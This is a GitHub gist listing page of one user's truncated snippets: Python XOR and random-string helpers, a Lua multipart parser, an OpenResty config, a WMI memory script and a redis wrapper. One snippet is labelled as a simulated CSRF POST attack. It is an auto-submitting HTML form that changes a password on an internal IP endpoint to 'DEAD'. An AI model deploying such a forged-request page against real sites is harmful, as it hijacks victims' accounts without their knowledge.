Skip to content

Instantly share code, notes, and snippets.

@moonbingbing
moonbingbing / xor.py
Created August 23, 2012 05:31
python string xor sample
#!/usr/bin/python
# -*- coding: utf-8 -*-
import itertools
def xor(s, key):
key = key * (len(s) / len(key) + 1)
return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(s, key))
if __name__ == "__main__":
@moonbingbing
moonbingbing / random_string.py
Created August 23, 2012 10:39
random string
#!/usr/bin/python
# -*- coding: utf-8 -*-
import random
def random_string(length):
str = ''
for i in range(length):
str += chr(random.randint(ord('#'),ord('~')))
return str
@moonbingbing
moonbingbing / parse_form_protocol.lua
Created November 2, 2012 02:56
parse content-Type multipart/form-data according to RFC2388
--parse content-Type multipart/form-data according to RFC2388.
function parse_form_protocol(query_data)
local result = {}
local boundary = get_boundary()
if boundary == nil then
return result
end
boundary = "--" .. boundary
local regex = [[name="(\w+)"\s+([\S\s]+?)\s+?]] .. boundary
for m in ngx.re.gmatch(query_data, regex) do
@moonbingbing
moonbingbing / nginx.conf
Created November 2, 2012 03:04
query postgres in openresty
worker_processes 1;
events {
worker_connections 64;
}
http {
send_timeout 1s;
server_tokens off;
@moonbingbing
moonbingbing / csrf_post
Created April 12, 2013 06:19
一个简单的csrf post攻击模拟
<html>
<head>
<title>TEST</title>
</head>
<body onload="load()">
<form action="http://172.22.54.92:9090/cloud/index.php?r=setting/api/ChangeUnstPwd" target="form_iframe" id="csrf" method="post">
<input type="hidden" name="newPwd" value="DEAD" />
import os
import re
import sys
import wmi
def get_memory_info():
computer_system = wmi.WMI().Win32_ComputerSystem()
op_system = wmi.WMI().Win32_OperatingSystem()
total_mem = int(computer_system[0].TotalPhysicalMemory)/1024/1024
local redis_c = require "resty.redis"
local ok, new_tab = pcall(require, "table.new")
if not ok or type(new_tab) ~= "function" then
new_tab = function (narr, nrec) return {} end
end
local _M = new_tab(0, 155)